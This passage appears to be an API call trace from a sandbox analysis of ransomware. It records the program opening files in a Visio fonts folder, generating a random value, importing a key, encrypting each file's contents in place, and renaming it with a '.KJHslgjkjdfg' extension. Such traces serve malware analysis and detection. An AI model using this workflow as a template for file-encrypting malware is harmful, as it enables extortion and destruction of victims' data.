(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0152.191] GetProcessHeap () returned 0x2a0000 [0152.191] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0152.191] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0152.191] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0152.191] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xf, lpOverlapped=0x0) returned 1 [0152.194] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0152.194] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.194] GetProcessHeap () returned 0x2a0000 [0152.194] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0152.194] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0152.194] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.194] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0152.194] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0152.194] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0152.194] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0152.195] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0152.195] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0152.195] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0152.195] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.195] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.195] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2b01, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x2b01, lpOverlapped=0x0) returned 1 [0152.196] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x2b10, dwBufLen=0x2b10 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x2b10) returned 1 [0152.196] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.196] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x2b10, lpOverlapped=0x0) returned 1 [0152.197] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.197] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.197] SetEndOfFile (hFile=0x118) returned 1 [0152.200] GetProcessHeap () returned 0x2a0000 [0152.200] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0152.200] GetProcessHeap () returned 0x2a0000 [0152.200] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0152.200] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx.kjhslgjkjdfg")) returned 1 [0152.201] CloseHandle (hObject=0x118) returned 1 [0152.201] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1 [0152.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0152.202] GetProcessHeap () returned 0x2a0000 [0152.202] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0152.202] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0152.202] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0152.202] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xa, lpOverlapped=0x0) returned 1 [0152.204] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0152.204] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.204] GetProcessHeap () returned 0x2a0000 [0152.204] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0152.204] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0152.204] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.204] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0152.205] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0152.205] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0152.205] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0152.205] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0152.205] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0152.205] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0152.205] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.205] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.206] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x146, lpOverlapped=0x0) returned 1 [0152.206] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x150, dwBufLen=0x150 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x150) returned 1 [0152.206] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.206] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x150, lpOverlapped=0x0) returned 1 [0152.206] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.206] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.206] SetEndOfFile (hFile=0x118) returned 1 [0152.209] GetProcessHeap () returned 0x2a0000 [0152.209] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0152.209] GetProcessHeap () returned 0x2a0000 [0152.209] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0152.209] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp.kjhslgjkjdfg")) returned 1 [0152.210] CloseHandle (hObject=0x118) returned 1 [0152.211] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1 [0152.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0152.213] GetProcessHeap () returned 0x2a0000 [0152.213] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0152.213] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0152.213] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0152.213] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xd, lpOverlapped=0x0) returned 1 [0152.215] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0152.215] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.215] GetProcessHeap () returned 0x2a0000 [0152.215] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0152.216] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0152.216] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.216] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0152.216] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0152.216] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0152.216] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0152.216] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0152.216] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0152.216] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0152.216] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.216] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.216] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x369d3, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x369d3, lpOverlapped=0x0) returned 1 [0152.220] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x369e0, dwBufLen=0x369e0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x369e0) returned 1 [0152.224] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.224] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x369e0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x369e0, lpOverlapped=0x0) returned 1 [0152.225] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.225] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x36ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.225] SetEndOfFile (hFile=0x118) returned 1 [0152.229] GetProcessHeap () returned 0x2a0000 [0152.229] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0152.229] GetProcessHeap () returned 0x2a0000 [0152.229] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0152.229] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx.kjhslgjkjdfg")) returned 1 [0152.230] CloseHandle (hObject=0x118) returned 1 [0152.231] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1 [0152.231] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0152.232] GetProcessHeap () returned 0x2a0000 [0152.232] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0152.232] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0152.232] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0152.233] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xb, lpOverlapped=0x0) returned 1 [0152.277] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0152.277] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.278] GetProcessHeap () returned 0x2a0000 [0152.278] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0152.278] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0152.278] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.278] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0152.278] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0152.278] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0152.278] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0152.278] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0152.278] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0152.278] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0152.278] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.278] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.279] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2fde5, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x2fde5, lpOverlapped=0x0) returned 1 [0152.282] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x2fdf0, dwBufLen=0x2fdf0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x2fdf0) returned 1 [0152.284] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.284] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2fdf0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x2fdf0, lpOverlapped=0x0) returned 1 [0152.285] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.285] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2feb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.285] SetEndOfFile (hFile=0x118) returned 1 [0152.289] GetProcessHeap () returned 0x2a0000 [0152.289] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0152.289] GetProcessHeap () returned 0x2a0000 [0152.289] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0152.289] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx.kjhslgjkjdfg")) returned 1 [0152.290] CloseHandle (hObject=0x118) returned 1 [0152.291] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1 [0152.291] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0152.291] GetProcessHeap () returned 0x2a0000 [0152.291] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0152.291] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0152.291] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0152.291] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xd, lpOverlapped=0x0) returned 1 [0152.294] CryptImportKey (in: hProv=0x2bcb08, 